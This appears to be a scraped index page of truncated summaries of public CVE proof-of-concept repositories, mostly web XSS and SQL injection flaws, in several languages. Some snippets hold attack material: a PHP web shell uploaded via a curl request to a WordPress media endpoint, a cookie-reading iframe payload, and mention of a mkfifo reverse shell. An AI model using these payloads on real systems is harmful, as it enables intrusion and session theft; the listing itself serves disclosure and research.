cve-2024-37764

Descripción MachForm hasta la versión 19 se ve afectado por un cross-site scripting almacenado autenticado. En la aplicación web objetivo, se ha detectado que la solicitud realizada al recurso vulnerable sufre un ataque XSS. Los parámetros del cuerpo de la solicitud POST dentro de la URL vulnerab...

CVE-2021-24545

CVE-2021-24545 WP HTML Author Bio alert/XSS/ Luego visualiza una publicación hecha por el autor para desencadenar el XSS Video POC: https://www.youtube.com/watch?v=fhzJZ5hSI-g...

CVE-2023-4771

CKEditor AJAX 示例中的跨站脚本漏洞 CVE-2023-4771 PoC CKEditor 4 AJAX 示例中的跨站脚本（XSS）漏洞 本文档介绍如何使用 CKEditor 利用此 XSS 漏洞（CVE-2023-4771）。 请务必极其谨慎地按以下步骤操作： 先决条件 • 拥有对 CKEditor 实例的访问权限。 文件：ckeditor/samples/old/ajax.html。 利用 XSS 漏洞的步骤： 访问 CKEditor 示例页面 打开你常用的浏览器，访问此 URL：/ckeditor/samples/old/ajax.html。该 URL 应指向被测 We...

Detection-script-for-cve-2021-23358

Detection-script-for-cve-2021-23358 CVE-2021-23358 的检测脚本 我为 CVE-2021-23358 创建了一个检测脚本，该脚本将检测易受攻击的 node underscore 版本，无论是作为开源工具安装还是仅使用其库。 此脚本具有三个功能，它将从以下来源检测 underscore 的版本： 1. 直接使用 npm 命令 2. 写在库的 PATH 中的版本 3. 库本身内部 underscore 包版本 1.13.0-0 至 1.13.0-2 之前，以及 1.3.2 至 1.12.1...

CVE-2021-35042

CVE-2021-35042 通过未清理的 QuerySet.orderby 输入实现 SQL 注入 设置： 运行 ./setup.sh 进行初始设置 打开 Docker 镜像以初始化数据库： docker exec -it containerid /bin/bash 然后运行以下命令： root@kitploit: python manage.py makemigrations cve202135042 python manage.py migrate 启动实例： docker-compose up 现在打开以下 URL 加载示例数据：...

CVE-2021-24891-Simulation

一个实践性的、容器化的实验室环境，用于模拟和利用 Elementor Website Builder WordPress 插件中的基于 DOM 的跨站脚本（XSS）漏洞，标识为 CVE-2021-24891。 📖 关于该漏洞 该实验室演示了 WordPress Elementor 插件（版本低于 3.4.8）中的一个基于 DOM 的跨站脚本（XSS） 漏洞。该漏洞的产生是因为 Elementor 编辑器的客户端代码直接从 URL 的哈希（...）中读取数据，并将其附加到页面的文档对象模型（DOM）中，而没有进行适当的清理。 攻击者可以构造一个恶意链接，在哈希片段中包含 JavaScrip...

CVE-2023-22884-Airflow-SQLi

Apache Airflow SQL注入PoC CVE-2023-22884 CVE-2023-22884的PoC是一个影响2.4.0之前版本的Apache Airflow RCE漏洞。 官方报告描述如下： 在Apache软件基金会的Apache Airflow和Apache Airflow MySQL Provider中存在命令中特殊元素未正确中和（'命令注入'）漏洞。该问题影响Apache Airflow版本：2.5.1之前；Apache Airflow MySQL Provider版本：4.0.0之前。来源 受影响版本的该软件包存在命令注入漏洞，原因是未对LOAD DATA LOC...

CVE-2019-17625

CVE-2019-17625 rambox 0.6.9 中存在一个存储型 XSS 漏洞，原因是用户在添加服务时，name 字段中的参数未经过净化。由于 rambox 运行在 NodeJS 上，这使得操作系统命令可以被注入到 或 标签中。 注意： 此代码仅在 MacOS 上测试过，可能需要针对其他操作系统重新配置。 漏洞利用代码 该漏洞利用代码将创建一个服务（以 discord 为基础），shell 要求系统上装有 mkfifo。当然，你可以根据需要替换成任何想要的 payload。 PoC...

CVE-2024-57428

CVE-2024-57428 PHPJabbers Cinema Booking System v2.0 中存在存储型跨站脚本（XSS）漏洞，原因在于文件上传字段（eventimg、seatmaps）和座位号配置（numbernewX in pjActionCreate）中的输入未经过滤。攻击者可以注入持久性 JavaScript，导致钓鱼攻击、恶意软件注入和会话劫持。 易受攻击的参数：eventimg 和 seatmaps的文件名 影响： 存储型XSS比反射型XSS更为严重，因为它会影响所有访问注入内容的用户。它可能被用于持久性钓鱼攻击、会话窃取，或向大量用户注入恶意软件。 利用 -...

CVE-2023-29983

Exploit Title: Stored Cross Site Scripting Google Dork: Date: 27.04.2023 Exploit Author: Lucas Noki 0xPrototype Vendor Homepage: https://github.com/vogtmh Software Link: https://github.com/vogtmh/cmaps Version: 8.0 Tested on: Mac, Windows, Linux CVE : CVE-2023-29983 Description: The vulnerability...

CVE-2017-9934

CVE-2017-9934 我是此漏洞的提交者，署名：Envo Joomla 1.7.3 - 3.7.2 CSRF 漏洞利用 PoC 此漏洞的产生是由于 Joomla 1.7.3 至 3.7.2 版本未对 base64 输入进行清理。 Headers: root@kitploit: POST http://localhost/joomla/administrator/index.php?option=commenus&view=item&clientid=0&layout=edit&id=0 HTTP/1.1 User-Agent: Mozilla/5.0 X11; Ubuntu;...

CVE-2024-47875-PhpSpreadsheet-XSS-PoC

CVE-2025-22131 • PhpSpreadsheet HTML 写入器 XSS PoC 概述 这是针对 CVE-2025-22131 的 PoC，该漏洞是 PhpSpreadsheet 2.2.2、2.1.2 和 1.29.4 之前版本中的一个跨站脚本 XSS 漏洞。漏洞存在于 generateNavigation 函数中，该函数在 XLSX 到 HTML 转换过程中未能对工作表名称进行清理，从而允许注入恶意 JavaScript。 CVE ID: CVE-2024-47875 GitHub Advisory: GHSA-79xx-vf93-p7cx Affected...

CVE-2024-21533-PoC-ggit

Vulnerabilidad de inyección de argumentos CVE-2024-21533 en ggit ggit se describe a sí mismo como: root@kitploit: Envoltorios de comandos git locales basados en promesas Recursos: Código fuente del proyecto en GitHub: https://github.com/bahmutov/ggit Paquete npm del proyecto:...

CVE-2026-30691

CVE-2026-30691 - 漏洞公告 CVE-2026-30691 的官方 MITRE 漏洞记录详情及技术文档。 root@kitploit: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 Suggested description Cross-Site Scripting XSS vulnerability in @cyntler/react-doc-viewer v1.17.1 allows remote attackers to execute arbitrary JavaScript via a crafted .txt...

CVE-2024-40498

CVE-2024-40498 受影响的应用 online-shopping-system-advanced 1.0 https://github.com/PuneethReddyHC/online-shopping-system-advanced 描述 文件 register.php 处理用户注册。在第117行，POST参数 "$address1" 和 $address2" 未经过滤，与电子邮件、姓名和号码不同，这导致在 VALUES 语句评估期间发生SQL注入。要利用此漏洞，向 "register.php" 文件发送一个POST请求，添加一个 "address1"...

CVE-2020-12696

CVE-2020-12696 root@kitploit: ██╗ ██╗███████╗███████╗ ╚██╗██╔╝██╔════╝██╔════╝ ╚███╔╝ ███████╗███████╗ ██╔██╗ ╚════██║╚════██║ ██╔╝ ██╗███████║███████║ ╚═╝ ╚═╝╚══════╝╚══════╝ Iframe iframe src="javascript:confirmdocument.cookie" width="100%" height="500" Version plugin: 4.4 Tested on: WordPress...

nex-forms_SQL-Injection-CVE-2023-2114

nex-formsInyección-SQL CVE-2023-2114 https://vulners.com/cve/CVE-2023-2114 https://wpscan.com/vulnerability/3d8ab3a5-1bf8-4216-91fa-e89541e5c43d Revisión rápida sobre la Inyección SQL en el Plugin NEX-Forms para WordPress Exploit subido Nota: Este código de exploit subido no es para esta...

CVE-2025-6085

Make Connector shello.php ".shellexec$GET"cmd".""; ? EOF curl -k -X POST https://lab1.hacker/wp-json/wp/v2/media \ -H "IWC-API-KEY: YOURFRIENDLYKEYHERE" \ -F "[email protected]" \ -F "title=Hacker World" \ -F "description=A test file" \ -F "caption=Hacker Caption" \ 上传到上传文件夹后利用 shell：...

CVE-2020-15778-SCP-Command-Injection-Check

CVE-2020-15778 – Vulnerabilidad de Inyección de Comandos en OpenSSH SCP Script de Detección Acerca de CVE-2020-15778 es una vulnerabilidad de inyección de comandos descubierta en la utilidad scp proporcionada por OpenSSH versiones ≤ 8.3p1. El problema permite a un atacante ejecutar comandos...

CVE-2023-34840

CVE-2023-34840 漏洞说明 angular-ui-notification 的所有版本都存在 XSS 漏洞，因为该库没有对用户提供的输入进行转义。 为了安全使用该库，强烈 建议对传递给该库的参数进行转义/编码，例如以下方式： root@kitploit: private sanitizeHTMLstr: string return str.replace/^\w. /gi, c = &$c.charCodeAt0;; 利用 假设该库已经导入并被某个项目使用。该库的使用方式可能如下： root@kitploit: private showNotificationmessage:...